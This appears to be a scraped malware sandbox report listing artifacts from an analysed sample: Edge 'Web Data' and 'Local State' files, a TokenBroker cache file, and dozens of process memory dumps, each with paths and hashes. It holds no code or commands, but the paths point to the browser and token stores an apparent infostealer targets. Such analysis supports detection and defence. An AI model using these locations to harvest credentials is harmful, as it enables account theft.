SSDEEP 96:Ko7iKcsW23iKoM7LKKc026WEKjKkAAK9Gq+xGKqkJ7yKkc++dmKWI94gK966GbGp:05ppxnY753RNBvRJJdt7p5J99lHCZg
TLSH
T17FB2665A703B0211397E2988B39696364F4235A37058E4BF7FB814A14F67E225CFD8ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 224KB
SHA256 28aafec23422e6252585c6808bc2d46dfff47e6137ad6ad0b705abd8bb46d91b
MD5 437f4dc6cd5a41a3bbd622d98de9dbfc
SHA1 d0aa18830c0e584da2ac7313151afdc4e7ba5c17
SHA512 b79cee7b178ad41ed84db26221a3289aeb19e332e6b4f3af6045fad83cc5664b3fb3883fe18e4531967aab2ab99b6e635cd52d5f0b356d0b72346a4a1302dec5
SSDEEP 192:P+xW8MAqfT8w0QQnG2IMW1hPJubRd6vPtcdCewdbsc7V1VJ:mxSfQ9QQn7IMW1hPJuVd6vPkxW
TLSH
T1E124630A7B747001EDE6D9721CB080771E3CB16DCF22A6915DB654698EB2853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 369fae351918145d940cb47eabc727565c9ec703c2feb4cab7af4463bb15c089
MD5 0c48566418e4b4c7fc4b662693a676fa
SHA1 34a971af3a50c540af24c60a94bc3161aab878dd
SHA512 213761fefeeee79ee088ef1d4d47e6b0c50d7710ef27f7f9885a09a6d1442b56fcd7a362e1a01a51e9d530323e7286ed6aeed97027bacdcfec31d242b58d5c82
SSDEEP 768:prFccps34wgbkUwaoGGr7cjGfkSsII8p0IL9:5s3a/sMa/I8p0IL9
TLSH
T1F9C25C31E858CEB7FCDB4B99A75E3643DEE4516789CC99E8DAC85E0C00871AD170B81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 39917f5c7736e5062b318ed3118bf1d74bd84d466bfa2195455ee41ac059650d
MD5 9cfe781b218520d9e71e51d6eecb6058
SHA1 806cc9e22d326cb4e79dbaaf8ab36022c12c5062
SHA512 3b27fc8a3ee9641d614c2c0ca40187cb83174dedb197ab89efa8733b683d295277e139e328e39198ffd7750e88f98682ae80a6dd3bba557fe97837f710967ef5
SSDEEP 768:p5Fccps36wgbkUFkoGGr7cjGffOI8p0IL9:Ls3sIsMauI8p0IL9
TLSH
T10AB26C36EC58CAB7FDE74F89A74E7603DEE4126785DC59E8DAD81E0C00871AD130B826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 f4340f1f9cb4f9917ce3d25944e61c7890858809ffa47cc95005dc70b0f20b55
MD5 db3b6fec154a40723e2dbc13c50753ad
SHA1 46dbecfecab8ca1215f5dae68460c85c5a4aedf8
SHA512 9cba63cf6abec938fa24584d52d759957191831b305dd5c5394474cab5bcedc42abc3de76e70258dec09f85d9a6278ac4ea3091cebf69574ec2d01c491a7397c
TLSH
T1DC41E559A6F91148B7B7AE5AABB6A86D487F78332E0AD09D00110E4E0A73F40CC61777
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3612-40-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-61-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-80-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-79-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-78-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-77-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-76-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-75-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-74-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-73-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-72-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-71-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-70-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-69-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-68-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-67-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-66-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-65-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-64-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-63-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-62-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-60-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-59-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-58-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-57-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-56-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-55-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-54-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-53-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-49-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-48-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-47-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-46-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-45-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-44-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-43-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-42-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-41-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-51-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-50-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-82-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-39-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-83-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-84-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-85-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-86-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-87-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-88-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-89-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-81-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-52-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-38-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-243-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-242-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-241-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-240-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-281-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-282-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-280-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-279-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-278-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-277-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-276-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-275-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-292-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-291-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-290-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-289-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-288-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-287-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-286-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-285-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-284-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-283-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-274-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-273-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-272-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-271-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-270-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-269-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-268-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-267-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-266-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-265-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-264-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-263-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-262-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-261-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-260-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-259-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-258-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-257-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-256-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-1-0x0000000022B40000-0x0000000022BA1000-memory.dmp

Download

memory/3612-0-0x0000000022B40000-0x0000000022BA1000-memory.dmp

Download

memory/3612-295-0x00000000238C0000-0x00000000238C1000-memory.dmp

Download

memory/3612-308-0x00000000027F0000-0x00000000027F6000-memory.dmp

Download

memory/3612-307-0x00000000027F0000-0x00000000027F6000-memory.dmp

Download

memory/3612-306-0x0000000022B40000-0x0000000022BA1000-memory.dmp

Download